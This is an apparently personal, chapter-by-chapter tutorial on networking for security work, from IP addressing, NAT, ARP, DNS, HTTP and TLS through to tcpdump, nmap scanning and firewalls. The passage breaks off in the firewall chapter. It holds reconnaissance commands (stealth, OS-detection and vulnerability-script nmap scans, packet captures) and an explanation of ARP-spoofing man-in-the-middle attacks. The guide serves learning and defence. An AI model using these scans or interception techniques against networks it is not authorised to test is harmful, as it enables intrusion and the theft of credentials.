/32  = all 4 numbers = one single address

So /24 = 24 bits = exactly 3 whole numbers — that’s why 192.168.1 is the network and .34 is the device. The number literally counts the network bits.

You absolutely can use /18 — it’s valid, it just doesn’t land on a number boundary, so it cuts through the middle of the 3rd number (16 full bits + 2 leftover) and looks messy. The trade-off is the real lesson: more network bits = fewer device bits = smaller network.

The device count is 2^(device bits) − 2 (the −2 drops the network ID and the broadcast address, which can’t be assigned to a machine). So /24 → 2⁸ − 2 = 254 devices — plenty for a home, and easy to read (“same first 3 numbers = same network”). /18 → 2¹⁴ − 2 = 16,382, overkill for a house but exactly what a big company or ISP needs. The router picks /24 for homes because it’s clean and 254 addresses is already far more than you’ll use.

On any box, the command to see your own addresses is ip a (Linux) or ifconfig / ipconfig (Mac/Windows):

$ ip a
2: eth0: ... 
    inet 192.168.1.24/24 ...      ← my IPv4 address + mask
    inet6 fe80::.../64 ...        ← an IPv6 address (the "noise" that matters in the NAT section below)

Two addresses you’ll always see and should recognise on sight: 127.0.0.1 (loopback — “this machine, talking to itself”) and the 192.168.x.x / 10.x.x.x ranges, which are private and never appear on the public internet. Why a machine can have a private address inside and a different public one outside is exactly what the next section is about.

Private vs Public IPs + NAT

Why all your home devices share one internet address.

I was poking at this from two machines on the same home connection — my Mac and a Docker container — and asked each one the same simple question: what’s my public IP? The trick is the tiny service ifconfig.me, which just echoes back the address it sees you arriving from:

# On either machine:
curl -s ifconfig.me

They came back different, and the reason is exactly the kind of thing that trips people up.

What I got

Container:  122.167.103.200                              ← an IPv4 public address
Mac:        2401:4900:8901:da7b:3ca3:15c8:99e4:ca0c      ← an IPv6 public address

They look totally different — but they’re the same front door, described in two different languages.

The two languages: IPv4 vs IPv6

Remember all that inet6 “noise” in ip a that’s easy to ignore? This is it coming back to matter.

• IPv4 — the old, short style: 122.167.103.200 (four numbers, 0–255 each). The world ran out of these; there simply aren’t enough for every device on earth.
• IPv6 — the new, long style: 2401:4900:... (eight hex groups). Practically unlimited supply. My Indian ISP (2401:4900 is an Indian mobile/broadband range) hands out both.

My Mac and my container both have internet, and both exit through the same home connection — but when each asked ifconfig.me “what’s my public address?”, they answered in different languages:

• The container only has IPv4 networking (its eth0 is inet 172.17.0.2, no public IPv6). So it asked over IPv4 → got the IPv4 answer 122.167.103.200.
• The Mac has IPv6 enabled and prefers it (those 2401:4900:... lines in ip a). So it asked over IPv6 → got the IPv6 answer.

Same house, two address systems. Like giving your home address in English vs. in Hindi — different words, same place.

Prove they’re really the same exit — force the Mac to speak IPv4

The -4 flag forces curl to use IPv4:

# On the Mac:
curl -s -4 ifconfig.me

This prints 122.167.103.200 — matching the container exactly. 🎯 That’s the proof: both machines leave through the same public IP (122.167.103.200, my home router’s address), even though inside they’re 192.168.1.24 and 172.17.0.2 respectively. You can force the other direction too:

# On the Mac — force IPv6:
curl -s -6 ifconfig.me     # → the 2401:4900:... address again

The three layers of address

There are actually three layers of address in play here, and this experiment surfaced all of them:

The private addresses are different (different internal rooms). The public IPv4 is identical (same front door). The Mac just also has an IPv6 door the container doesn’t. That shared-public-exit-from-different-private-rooms trick is exactly what NAT does — the topic this chapter is named for, and what the rest of this chapter explains.

How NAT actually rewrites the packet

Here’s the puzzle that makes the whole thing click. Run ifconfig en0 on my Mac (or ip a on Linux) and the Wi-Fi interface reports:

en0: inet 192.168.1.24 netmask 0xffffff00     ← my local IPv4 (0xffffff00 = /24)
     ether 36:ef:da:3a:2d:05                   ← the MAC (hardware ID)
     inet6 fe80::1418:59f8:2acb:a073%en0       ← IPv6 link-local

But open any “what is my IP?” website and it shows something completely different:

27.5.157.32                ← what the website sees

Two different addresses for one laptop — and both are correct. They’re just at different levels of the network:

            Internet
               ▲
          27.5.157.32        ← PUBLIC IP  (assigned by my ISP)
               ▲
            Router            ← 192.168.1.1
               ▲
        192.168.1.24          ← LOCAL IP  (assigned by my router)
            Laptop

Why doesn’t the website see 192.168.1.24? Because private addresses are not routable on the internet. These ranges are reserved for internal use and reused in millions of homes at once:

10.0.0.0     – 10.255.255.255     (10.x.x.x)
172.16.0.0   – 172.31.255.255     (172.16–31.x.x)
192.168.0.0  – 192.168.255.255    (192.168.x.x)

Right now countless laptops worldwide are sitting at 192.168.1.24 — so it’s meaningless as a global destination. Before my traffic ever leaves the house, the router fixes this with NAT (Network Address Translation): it rewrites the source address on the way out.

Packet leaving my laptop:
   source = 192.168.1.24   ← private, internet can't reply to this

Router applies NAT:
   source = 27.5.157.32    ← its own public IP

What Google receives:
   source = 27.5.157.32    ← Google never sees 192.168.1.24

Google replies to 27.5.157.32; the router remembers which inside device asked and hands the reply back to 192.168.1.24. (That “remembering” is the translation table — I take it apart properly in the Firewalls & NAT Defense chapter, where the same mechanic turns out to also block inbound attacks.)

So when I see 192.168.1.24 in the terminal but 27.5.157.32 on a website, nothing is wrong — they’re both my IP, one for inside the house and one for facing the world. The same ifconfig output above also shows two addresses worth recognising on sight, both already covered in the IP Addresses chapter: the loopback 127.0.0.1 (this machine talking to itself, never leaves the OS) and the interface’s MAC 36:ef:da:3a:2d:05 (the ether line — the hardware ID that the next chapter is all about).

MAC Addresses & ARP

The hardware ID on your local network — and why ARP has no authentication, making it the LAN man-in-the-middle attack surface.

Two addresses, two different jobs

Every device on a network carries two addresses, and they answer different questions. The IP address is where — it routes data across networks. The MAC address is who — it identifies the exact piece of hardware on the local wire.

The big idea: a packet needs both. The IP gets it across the internet to your network; the MAC delivers it to the exact device on the local wire. This is the Link-vs-Network split from the Layers chapter made concrete — IP lives on the Network floor, MAC on the Link floor.

The problem ARP solves

Say my laptop (192.168.1.24) wants to send something to the router at 192.168.1.1. It knows the IP — but to actually put a frame on the local wire, the Link floor needs a MAC, and it doesn’t have one yet. A machine can’t deliver anything locally with just an IP; it must translate IP → MAC first.

That translator is ARP (Address Resolution Protocol). Its one job:

Give me an IP, I’ll find the MAC that owns it.

How ARP works, step by step

My laptop (192.168.1.24) wants to reach 192.168.1.1

1. ARP REQUEST  — a broadcast, sent to EVERYONE on the subnet
   Laptop -> all devices:
   "Who has 192.168.1.1? Tell 192.168.1.24 your MAC."
   (destination MAC = ff:ff:ff:ff:ff:ff  <- the broadcast address)

2. ARP REPLY    — a unicast, only the owner answers
   Router -> laptop:
   "192.168.1.1 is at 0c:36:23:75:9a:f0"

3. CACHE IT     — stored so it won't have to ask again
   This is exactly what `arp -a` displays.

A few facts that matter:

• ARP works only within one subnet (my 192.168.1.x). It can’t resolve internet addresses — that’s the router’s job once the frame reaches it.
• The cache expires after a few minutes, so the machine re-asks periodically.
• Some entries (like multicast) are permanent and never expire.

The fatal flaw: no authentication

When a reply arrives saying “192.168.1.1 is at some MAC,” the laptop’s reaction is simply: okay, I believe you. No questions asked. ARP has no password, no signature, no check that the replier is who it claims — and crucially, no check that you even asked the question. It accepts unsolicited replies.

Why? ARP was designed in 1982 for small, trusted networks where everyone was assumed honest. That assumption is exactly the vulnerability today.

The attack: ARP spoofing leads to man-in-the-middle

Normally traffic flows straight out:

My laptop ---> Router (192.168.1.1) ---> Internet

An attacker sends fake ARP replies to both sides:

To my laptop:  "192.168.1.1  is at [ATTACKER's MAC]"   (lie)
To the router: "192.168.1.24 is at [ATTACKER's MAC]"   (lie)

Both believe it (no verification), so now:

My laptop ---> ATTACKER ---> Router ---> Internet
                  |
            sees ALL my traffic

That is a man-in-the-middle (MITM) attack. Once in the middle, the attacker can sniff unencrypted traffic (passwords on plain-HTTP sites), modify data in transit, SSL-strip (downgrade HTTPS to HTTP), or hijack sessions.

How you’d spot it: the router’s MAC in arp -a suddenly changes from its real value to a different one. That’s the red flag.

Defenses

The practical takeaway: always use HTTPS plus a VPN on public Wi-Fi. Even if someone MITMs you via ARP spoofing, your data stays encrypted and useless to them.

The complete mental model

IP ADDRESS (192.168.1.24) = WHERE
routes data across networks
        |
        |  must become a MAC for local delivery
        v
      [ ARP ]   the translator: IP -> MAC
                (no authentication!)
        |
        v
MAC ADDRESS (82:4b:d2:f8:aa:1b) = WHO
delivers data to the exact device locally

The flaw: ARP trusts ANY reply -> attacker lies ->
traffic reroutes through attacker -> man-in-the-middle

DNS

How names (google.com) turn into IP numbers — and how it’s abused (spoofing, tunneling).

ARP translates IP → MAC inside my network. DNS does the layer above that: it translates names → IP addresses across the whole internet. It’s the step that happens before ARP even gets involved.

The problem DNS solves

I type google.com. But computers don’t route on names — they route on IP addresses like 142.250.182.14. Humans remember names; machines need numbers. DNS (Domain Name System) is the internet’s phonebook that bridges the two.

I type:    google.com          <- human-friendly name
DNS gives: 142.250.182.14       <- machine-routable IP

DNS’s one job: give me a name, I’ll find its IP address.

It’s the exact same pattern as ARP, just one floor up:

The lookup chain, step by step

When I visit www.example.com, my computer asks a chain of servers. Each one either knows the answer or points to who does.

Me -> www.example.com?

1. RESOLVER (my ISP's, or 8.8.8.8)
   "I'll find it for you." Checks its cache first.

2. ROOT server (.)
   "Don't know example.com, but ask the .com servers ->"

3. TLD server (.com)
   "Don't know the IP, but example.com's nameserver is ->"

4. AUTHORITATIVE server (example.com's own)
   "www.example.com is at 93.184.216.34"

5. CACHE IT
   Resolver + my computer store it (TTL) so they won't re-ask.

The hierarchy reads right to left — that’s the order DNS actually resolves it:

www  .  example  .  com  .
 |       |          |    |
host   domain      TLD  root

Common record types

Caching and TTL

Every DNS answer comes with a TTL (Time To Live) — how many seconds to cache it before re-asking.

example.com  ->  93.184.216.34   TTL=3600   (cache for 1 hour)

Caching happens at multiple levels: browser → OS → router → ISP’s resolver. This is why DNS changes (like moving a website to a new server) take time to “propagate” — old answers stay cached until their TTL expires.

The security problems

Like ARP, classic DNS was built for a trusting era — plaintext, no authentication. That opens several attacks:

This connects straight back to the MAC/ARP chapter: an attacker who’s already MITM’d me via ARP spoofing can also tamper with my plaintext DNS — answering bank.com → attacker’s IP and sending me to a phishing clone.

Defenses

Hands-on (try these on a Mac)

# Look up a domain's IP (modern tool)
dig google.com

# Just the answer, clean
dig +short google.com

# Look up a specific record type
dig MX google.com          # mail servers
dig AAAA google.com        # IPv6
dig TXT google.com         # text records

# Use a specific resolver (Cloudflare) instead of the default
dig @1.1.1.1 google.com

# Reverse lookup: IP -> name
dig -x 8.8.8.8

# The classic macOS tool
nslookup google.com

# See / flush the Mac's DNS cache
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder

# Which resolver is the Mac using?
scutil --dns | grep nameserver

Worth trying: run dig +short google.com twice. The second is instant — it was cached. Watch the TTL field in full dig output count down between queries.

The complete mental model

I type a NAME (google.com)
        |
      [ DNS ]   name -> IP   (internet phonebook, port 53)
                (plaintext + no auth = spoofable!)
        |
        |  now I have the IP (142.250.182.14)
      [ ARP ]   IP -> MAC    (local delivery, the previous chapter)
        |
        v
packet reaches the right device -> router -> internet

Connections

HTTP

The web’s language at the byte level — requests, methods, headers, status codes. The protocol you’ll attack most.

Where HTTP sits

Everything from the chapters above stacks up under HTTP. When I type https://example.com, the request rides down through the floors I already know:

I type:  https://example.com
      |
   [ HTTP ]   the actual request/response (what page I want, what the server says)
   [ TCP  ]   reliable connection — "the call"
   [ IP   ]   192.168.1.24  -> WHERE (routing)
   [ MAC+ARP] -> WHO (local delivery)

HTTP is just the content of the conversation. My data still travels MAC → IP → router exactly as before; HTTP rides on top of all of it.

What HTTP is

HTTP — HyperText Transfer Protocol — is the rules for how a browser (the client) asks a web server for things, and how the server answers. It’s a simple request → response pattern:

CLIENT (browser)                    SERVER (website)
     |                                    |
     | ---- "GET me the homepage" ------> |   request
     |                                    |
     | <--- "200 OK, here's the HTML" --- |   response

The key trait: HTTP is stateless — each request stands alone, and the server doesn’t remember me between requests by default. Cookies and tokens are how sites add memory — and a big part of the attack surface.

HTTP at the byte level

What makes HTTP approachable is that it’s just plain text I can read. A raw request looks like this:

GET /index.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html
Cookie: session=abc123

(blank line = end of headers)

And the raw response:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1256
Set-Cookie: session=xyz789

<!DOCTYPE html>
<html>...the page...</html>

Every web request I’ve ever made looks like this underneath. That’s the “at the byte level” promise — no magic, just structured text.

The four building blocks

1. Methods — the verb, what I want to do:

Security angle: attackers probe which methods are allowed. A DELETE or PUT left open can let them modify or delete data they shouldn’t.

2. Headers — the metadata, Key: Value lines carrying context:

• Request: Host: (which site — vital, one server hosts many), User-Agent: (browser/device), Cookie: (session/login token), Authorization: (credentials/tokens).
• Response: Content-Type: (HTML, JSON, image), Set-Cookie: (server hands me a session), Location: (redirect target), and security headers like Content-Security-Policy and Strict-Transport-Security.

Security angle: headers are a huge attack surface — manipulating Cookie, Host, Referer, or X-Forwarded-For is the basis of session hijacking, host header injection, and more.

3. Status codes — the server’s 3-digit reply. Memorize the categories:

Security angle: status codes leak information. 401 vs 403 vs 404 can reveal whether a resource exists — attackers use this to map hidden pages (enumeration). 500 errors may leak stack traces.

4. Body — the payload, the actual data: HTML, JSON, form data, file uploads. GET usually has no body; POST/PUT carry data here.

Security angle: the body is where injection attacks live — SQL injection, XSS payloads, and malicious JSON all travel in the body.

HTTP vs HTTPS

This ties straight back to the ARP/MITM chapter:

Remember the ARP spoofing attack? If an attacker MITMs me and I’m on HTTP, they read everything — passwords, cookies, messages. On HTTPS they just see encrypted garbage. That’s exactly why HTTPS defeats the ARP attack from the earlier chapter — it all connects.

Hands-on with curl

# See the full request + response headers
curl -v https://example.com
# The > lines are the request, the < lines are the response —
# methods, headers, and the status code, live.

# See ONLY response headers (status code + headers)
curl -I https://example.com        # -> HTTP/2 200, Content-Type:, etc.

# Watch a redirect (3xx) in action
curl -IL http://github.com         # -> 301 HTTP->HTTPS, then 200

# Make different methods
curl -X POST https://httpbin.org/post -d "user=test&pass=123"
# httpbin echoes back exactly what you sent — great for learning.

# Trigger status codes on purpose
curl -I https://httpbin.org/status/404    # -> 404
curl -I https://httpbin.org/status/500    # -> 500
curl -I https://httpbin.org/status/301    # -> 301

httpbin.org is a free practice server designed for learning HTTP — safe to experiment on.

Why “the protocol you’ll attack most”

The web runs on HTTP, so most security testing targets it. Common HTTP-based attack classes (for defensive understanding):

To attack or defend any of these, I have to read HTTP fluently — methods, headers, status codes, body. That’s why this chapter is foundational.

Ethics reminder: practice HTTP attacks only on systems you own or are authorized to test — intentionally-vulnerable labs like httpbin.org, DVWA, the PortSwigger Web Security Academy, or OWASP Juice Shop. Never test sites you don’t have permission for.

Ports

One computer runs many programs; a port says which program a message is for.

What a port actually is

An IP address gets data to the right machine. But one machine runs dozens of programs at once — a browser, an email client, Spotify, a database. A port is a number (0–65535) that says which program on that machine a message is for.

IP address  ->  WHICH computer   (the building)
Port number ->  WHICH program    (the apartment number)

So a full destination is always IP : Port:

142.250.182.14 : 443      <- Google's server, the HTTPS program

The port number ranges

Ports worth memorizing

Knowing the service behind a port is half of recon. An open 445 screams “Windows file sharing — check for exploits”; an open 3389 means “remote desktop — try credential attacks.”

Source vs destination port

Every connection has two ports. When my laptop browses Google:

My laptop                           Google server
192.168.1.24 : 51324    ------->    142.250.182.14 : 443
(random ephemeral port)             (well-known HTTPS port)

The destination port is fixed and known (443 = HTTPS). My source port is random/ephemeral — it’s how my OS tracks which of my many connections a reply belongs to. When Google replies, it sends to 192.168.1.24:51324, and my OS routes that data back to the right browser tab.

TCP vs UDP + the Handshake

Reliable vs fast. The SYN → SYN-ACK → ACK 3-way handshake. The 5-tuple.

Ports are addresses. TCP and UDP are the two transport protocols that actually move data to those ports, and they make opposite trade-offs.

Reliable vs fast

Why both exist: loading a webpage can’t tolerate a missing byte → TCP. A live video call would rather drop one frame than freeze waiting for it → UDP.

The TCP 3-way handshake

Before TCP sends data, both sides agree to talk. This is the famous SYN → SYN-ACK → ACK:

CLIENT                                    SERVER
  |                                          |
  | ----------- SYN ---------------------->  |  "Can we talk? Here's my
  |           (seq=x)                         |   starting sequence number x"
  |                                          |
  | <---------- SYN-ACK -------------------   |  "Yes. I got x (ack=x+1).
  |          (seq=y, ack=x+1)                 |   Here's my number y"
  |                                          |
  | ----------- ACK ---------------------->  |  "Got your y (ack=y+1).
  |           (ack=y+1)                       |   Let's go!"
  |                                          |
  | ======= CONNECTION ESTABLISHED =======   |
  | <---------- data flows ----------->       |

• SYN (synchronize): client asks to connect, sends its sequence number.
• SYN-ACK: server agrees, acknowledges the client’s number, and sends its own.
• ACK: client acknowledges the server’s number → the connection is open.

There’s also a 4-way teardown to close it (FIN → ACK → FIN → ACK).

The security relevance: the SYN flood attack (a DoS) sends thousands of SYNs but never the final ACK, leaving the server holding half-open connections until it’s exhausted. Nmap’s SYN scan (-sS) sends a SYN, reads the reply, then never completes — a stealthy way to find open ports without a full connection.

The 5-tuple

A single server (e.g. :443) handles thousands of simultaneous clients. How does it keep them apart? Every connection is uniquely identified by 5 values — the 5-tuple:

1. Protocol         (TCP or UDP)
2. Source IP        (192.168.1.24)
3. Source Port      (51324)
4. Destination IP   (142.250.182.14)
5. Destination Port (443)

If even one value differs, it’s a different connection. This is how my laptop can have two tabs open to the same Google server — same destination IP+port, but different source ports make them distinct.

Open Ports / What’s Listening

Every open port is a possible door in. Core security skill.

The principle: every open port is a program listening for connections — and therefore a possible door in.

What “listening” means

A program that accepts connections binds to a port and waits — we say it’s listening. Three states matter:

Why this is the heart of recon and defense

• Attacker’s view: “What’s running on this box? Each open port is a service I can fingerprint, version-check, and look for exploits against.” This is the port-scanning phase of every penetration test.
• Defender’s view: “What am I exposing that I shouldn’t be?” The number-one hardening rule is reduce attack surface — close every port you don’t need. A forgotten open database port (3306) or RDP (3389) is how breaches start.

Check what’s listening on my own machine

# macOS / Linux — list listening ports + the program owning each
sudo lsof -iTCP -sTCP:LISTEN -n -P

# Linux (modern) — sockets, listening only, with process
sudo ss -tulpn
#   -t tcp  -u udp  -l listening  -p process  -n numeric

# Older but universal
netstat -an | grep LISTEN

# macOS: what specific process is on port 5000?
sudo lsof -i :5000

Reading typical output: node ... *:3000 (LISTEN) means a Node app is listening on port 3000 on all interfaces. The bind address matters: *:3000 or 0.0.0.0:3000 = listening on all network interfaces (reachable from outside — riskier), while 127.0.0.1:3000 = localhost only (only this machine can reach it — much safer).

Scan what’s open on another machine — nmap

Nmap is the port scanner. (Only scan machines you own or have written permission to test.)

# Basic scan of the most common 1000 ports
nmap 192.168.1.1

# Scan a specific port range
nmap -p 1-1000 192.168.1.1

# Scan ALL 65535 ports
nmap -p- 192.168.1.1

# Service + version detection (what's actually running)
nmap -sV 192.168.1.1

# Stealthy SYN scan + OS detection + versions (needs sudo)
sudo nmap -sS -sV -O 192.168.1.1

# Scan the whole local network to find live hosts
nmap -sn 192.168.1.0/24

What a scan tells me:

PORT     STATE  SERVICE   VERSION
22/tcp   open   ssh       OpenSSH 8.9      <- brute-force / known CVE?
80/tcp   open   http      nginx 1.18       <- check the web app
443/tcp  open   https     nginx 1.18
3306/tcp open   mysql     MySQL 8.0        <- database exposed! should this be public?

This chapter is also where the nmap work in Scanning with nmap later picks up.

Seeing & Probing

Watching Real Traffic (tcpdump / Wireshark) ★

Actually seeing the bytes on the wire. Packet capture is the disassembler of the network.

Packet capture is the disassembler of the network. Just as a disassembler shows the actual machine instructions a program runs, a packet sniffer shows the actual bytes crossing the wire — not what an app claims it sent, but what it really sent.

How sniffing works

A network card normally ignores traffic not addressed to it. A sniffer puts the card into promiscuous mode (wired) or monitor mode (Wi-Fi) so it captures everything it can see, then decodes each packet layer by layer:

Raw bytes on the wire
   |
   |- Layer 2: Ethernet  -> src MAC, dst MAC
   |- Layer 3: IP        -> src IP, dst IP, TTL
   |- Layer 4: TCP/UDP   -> src port, dst port, flags (SYN/ACK...)
   |- Layer 7: HTTP/DNS  -> the actual content (if unencrypted)

The crucial limit: I can only capture traffic that physically reaches my card. On a switched network I mostly see my own traffic plus broadcasts. To see others’ traffic I’d need a SPAN/mirror port, a hub, or to be MITM (e.g. ARP spoofing) — which is exactly why sniffing and spoofing go hand in hand.

tcpdump — the command-line sniffer

Fast, scriptable, on almost every system. Format: tcpdump [options] [filter expression].

# List capture interfaces
sudo tcpdump -D

# Capture on the Wi-Fi interface, show packets
sudo tcpdump -i en0

# Don't resolve names/ports (faster, clearer) + be verbose
sudo tcpdump -i en0 -nn -v

# Only port 80 (HTTP) traffic
sudo tcpdump -i en0 -nn port 80

# Only traffic to/from one host
sudo tcpdump -i en0 -nn host 192.168.1.1

# Only DNS queries (port 53)
sudo tcpdump -i en0 -nn port 53

# Capture only TCP SYN packets (new connection attempts)
sudo tcpdump -i en0 -nn 'tcp[tcpflags] & tcp-syn != 0'

# Show packet CONTENTS in ASCII (see HTTP, etc.)
sudo tcpdump -i en0 -nn -A port 80

# Save to a file for later analysis in Wireshark
sudo tcpdump -i en0 -w capture.pcap

# Read a saved capture back
tcpdump -r capture.pcap -nn

Reading a line:

12:30:45.123 IP 192.168.1.24.51324 > 142.250.182.14.443: Flags [S], seq 12345...
            |   |--source IP.port-|   |--dest IP.port---|        |
         timestamp                                            [S]=SYN (handshake start)

Flag letters: S=SYN, .=ACK, P=PSH (data), F=FIN (close), R=RST (reset).

Wireshark — the graphical analyzer

Same captures, but with a GUI, deep protocol decoding, and powerful filters. The usual split: tcpdump to capture (especially on servers), Wireshark to analyze. There are two filter types — don’t confuse them:

Essential display filters:

ip.addr == 192.168.1.1          # traffic to/from a host
tcp.port == 443                 # a port
http                            # only HTTP
dns                             # only DNS
tcp.flags.syn == 1              # SYN packets
arp                             # ARP traffic (watch for spoofing!)
http.request                    # HTTP requests only
tcp.analysis.retransmission     # signs of packet loss

The killer feature is Follow Stream: right-click any packet → Follow → TCP Stream reassembles the whole conversation into readable text. For an HTTP site I literally see the full request and response, including any plaintext passwords. It’s the single most powerful demo of why HTTP is dangerous and HTTPS matters.

Security uses

• Credential capture on plaintext protocols (HTTP, FTP, Telnet) — proves why encryption is mandatory.
• Detecting ARP spoofing — filter arp, watch for an IP’s MAC suddenly changing or duplicate replies.
• Malware / C2 analysis — spot beaconing, DNS tunneling, exfiltration.
• Troubleshooting — see retransmissions, resets, failed handshakes.

TLS / HTTPS

How traffic gets encrypted, the certificate chain of trust, and why attackers can’t just read it (and how interception proxies get around it).

HTTPS = HTTP inside an encrypted TLS tunnel. A sniffer on the wire (the previous chapter) sees only scrambled bytes — that’s the whole point.

What TLS provides

Combining two kinds of crypto

TLS solves a chicken-and-egg problem: how do two strangers agree on a secret key over a wire an attacker is watching?

• Asymmetric (public/private key) — slow, but lets strangers establish trust without sharing a secret first. Used only at the start, to authenticate the server and securely agree on a key.
• Symmetric (one shared key) — fast. Used for the actual data once the key is agreed.

Start: use SLOW asymmetric crypto -> safely agree on a shared key
Then:  use FAST symmetric crypto with that key -> encrypt all data

The TLS handshake (simplified)

CLIENT                                          SERVER
  |                                                |
  | -- ClientHello -------------------------->     |  "I support these ciphers;
  |    (TLS versions, cipher suites, random)        |   here's my random"
  |                                                |
  | <-- ServerHello + CERTIFICATE -----------      |  "Chosen cipher + here's my
  |     (chosen cipher, server random, cert)        |   certificate (public key,
  |                                                |   signed by a CA)"
  |                                                |
  |  [Client verifies the certificate chain]        |
  |                                                |
  | -- key exchange ------------------------->     |  Both derive the same
  | <-- Finished ----------------------------       |  shared symmetric key
  |                                                |
  | === ENCRYPTED APPLICATION DATA (symmetric) ===  |

(TLS 1.3 streamlines this to one round trip and drops old, weak options.)

The certificate chain of trust

How does my browser know the certificate is genuinely Google’s and not a forgery? A signature chain anchored in trust my OS/browser already holds:

ROOT CA (e.g. ISRG, DigiCert)      <- pre-installed & trusted by my device
in the OS/browser "trust store"
        | signs
INTERMEDIATE CA
        | signs
SERVER CERT (google.com)           <- presented in the handshake

The browser verifies that each cert is signed by the one above it, up to a Root CA it already trusts. It also checks that the cert’s name matches the domain, that it isn’t expired, and that it isn’t revoked. Any failure → the scary “Your connection is not private” warning.

Why attackers can’t just read HTTPS — and how proxies get around it

A passive sniffer fails because the data is symmetric-encrypted with a key negotiated using asymmetric crypto. The attacker never sees the private key, so they see only ciphertext.

A basic MITM fails because if the attacker swaps in their own certificate for google.com, it isn’t signed by a trusted CA (they can’t forge a CA signature) → the browser screams. This is exactly why HTTPS defeats the ARP-spoofing MITM from earlier — they can reroute my traffic but can’t decrypt or convincingly impersonate it.

Interception does work with TLS-inspection proxies (Burp Suite, mitmproxy, corporate firewalls) by terminating TLS in the middle:

Me --TLS#1--> PROXY --TLS#2--> Real Server
                ^
   proxy presents ITS OWN cert to me,
   and I must TRUST the proxy's CA

The catch: I (or an admin) must install the proxy’s CA certificate into the trust store first. Once that root is trusted, the proxy’s forged certs pass validation and it can read everything. This is legitimate for pentesters debugging an app (Burp) or companies inspecting employee traffic — and it’s exactly why you should never install an unknown root CA: it hands someone the power to silently MITM all your HTTPS.

Hands-on

# Inspect a site's certificate from the terminal
openssl s_client -connect google.com:443 -servername google.com

# Show cert details (issuer, validity, SANs)
echo | openssl s_client -connect google.com:443 2>/dev/null | openssl x509 -noout -text

# Check expiry date only
echo | openssl s_client -connect google.com:443 2>/dev/null | openssl x509 -noout -dates

# Which TLS versions/ciphers does a server support?
nmap --script ssl-enum-ciphers -p 443 google.com

Scanning with nmap ★

Mapping a target: what’s open, what software + version it runs. The recon phase.

The recon phase. Before attacking (or defending) anything, you map it: which hosts are alive, what ports are open, what software and version runs behind them. Nmap is the industry-standard tool — it picks up where the Open Ports chapter left off.

The recon workflow nmap covers

1. HOST DISCOVERY   ->  which IPs are alive?      (-sn)
2. PORT SCANNING    ->  which ports are open?     (-sS, -p)
3. SERVICE/VERSION  ->  what software + version?  (-sV)
4. OS DETECTION     ->  what operating system?    (-O)
5. DEEPER ENUM      ->  scripts for vulns/info    (-sC, --script)

Scan types

The commands you’ll actually use

# Discover live hosts on the network
nmap -sn 192.168.1.0/24

# Quick scan of common 1000 ports
nmap 192.168.1.10

# Scan specific ports / ranges
nmap -p 22,80,443 192.168.1.10
nmap -p 1-1000 192.168.1.10

# Scan ALL 65535 ports
nmap -p- 192.168.1.10

# Service + version detection (the key recon step)
nmap -sV 192.168.1.10

# Default scripts + version (great all-rounder)
nmap -sC -sV 192.168.1.10

# Aggressive: OS detection, version, scripts, traceroute
nmap -A 192.168.1.10

# Stealthy SYN scan + versions + OS (needs sudo)
sudo nmap -sS -sV -O 192.168.1.10

# Control speed: -T0 (paranoid/slow) ... -T5 (insane/fast)
nmap -T4 192.168.1.10

# Run a vuln-detection script category
nmap --script vuln 192.168.1.10

# Save output in all formats
nmap -A -oA scan_results 192.168.1.10

Reading the output

PORT     STATE    SERVICE   VERSION
22/tcp   open     ssh       OpenSSH 7.6p1 Ubuntu   <- old? check CVEs
80/tcp   open     http      Apache httpd 2.4.29    <- enumerate the web app
443/tcp  open     ssl/http  Apache httpd 2.4.29
3306/tcp open     mysql     MySQL 5.7.33           <- DB exposed — should it be?
8080/tcp filtered http-proxy                       <- firewall dropping probes

• open → a service is listening (attack surface)
• closed → host alive, nothing on that port
• filtered → a firewall is silently dropping the probes

The version string is gold: knowing OpenSSH 7.6 or Apache 2.4.29 lets me look up known CVEs for that exact version. Recon → vulnerability research → exploitation. For defenders, the same output shows what’s exposed and what’s outdated.

The Nmap Scripting Engine (NSE)

Nmap runs Lua scripts that go beyond port scanning — banner grabbing, vuln checks, brute force, enumeration:

nmap --script ssl-enum-ciphers -p 443 target   # TLS config audit
nmap --script smb-enum-shares -p 445 target     # list Windows shares
nmap --script http-title -p 80 target           # grab web page titles
nmap --script vuln target                        # known-vuln checks

Scripts live in categories: default, safe, intrusive, vuln, auth, discovery, brute.

Ethics & legal: sniffing networks you don’t own, intercepting others’ TLS, and scanning hosts without written permission are illegal in most jurisdictions. Practice only on your own machines/network or sanctioned labs (TryHackMe, Hack The Box, Metasploitable, your own VMs).

Putting It Together

Firewalls & NAT Defense

How traffic gets blocked or allowed (on the 5-tuple) — and why reverse shells dial outward to beat them.

A firewall’s entire job is to decide, for every packet: allow or block? It makes that decision based on the 5-tuple (protocol, source IP, source port, destination IP, destination port) from the TCP/UDP chapter. Understanding this is what makes the reverse-shell trick later click into place.

What a firewall actually does

A firewall sits at a boundary (my laptop, a router, a network edge) and checks every packet against an ordered list of rules. Each rule matches on parts of the 5-tuple and says ACCEPT or DROP/REJECT.

Packet arrives -> Rule 1: match? -> Rule 2: match? -> ... -> DEFAULT POLICY
                    | yes              | yes                    | (usually DROP)
                 ACCEPT/DROP        ACCEPT/DROP

Two design facts matter most:

• Rules are ordered — first match wins.
• The default policy is the whole game. A secure firewall is default-DROP: block everything, then explicitly allow only what’s needed (a default-deny allowlist).

And there are two ways to say “no”:

Stateless vs stateful

Modern firewalls are stateful — they keep a connection table of the 5-tuples of active sessions. This is why I can browse the web freely: I initiated the connection outbound, so the firewall remembers it and lets Google’s replies back in without an inbound rule. That’s the key that makes reverse shells work below.

NAT — defense by accident

NAT was invented to solve the IPv4 shortage (many devices sharing one public IP, the NAT chapter earlier), but it doubles as a firewall-like barrier.

INSIDE (private)             ROUTER/NAT           OUTSIDE (internet)
192.168.1.24:51324  ----> 203.0.113.5:40000  ----> 142.250.182.14:443
192.168.1.40:52001  ----> 203.0.113.5:40001  ----> ...
      |                        |
 private IPs              one public IP, rewrites source IP+port,
 (not routable)           keeps a translation table

The NAT device keeps a translation table mapping inside IP:port ↔ public IP:port. When a reply comes back to 203.0.113.5:40000, it looks up the table and forwards it to 192.168.1.24:51324.

Why NAT blocks inbound attacks: an attacker who sends a packet to 203.0.113.5:40000 out of the blue hits a NAT table with no entry for that unsolicited inbound connection → the router has nothing to translate it to → dropped.

Internet -> my laptop directly:  blocked (no NAT mapping exists)
My laptop -> internet -> reply:  works (mapping created when I sent out)

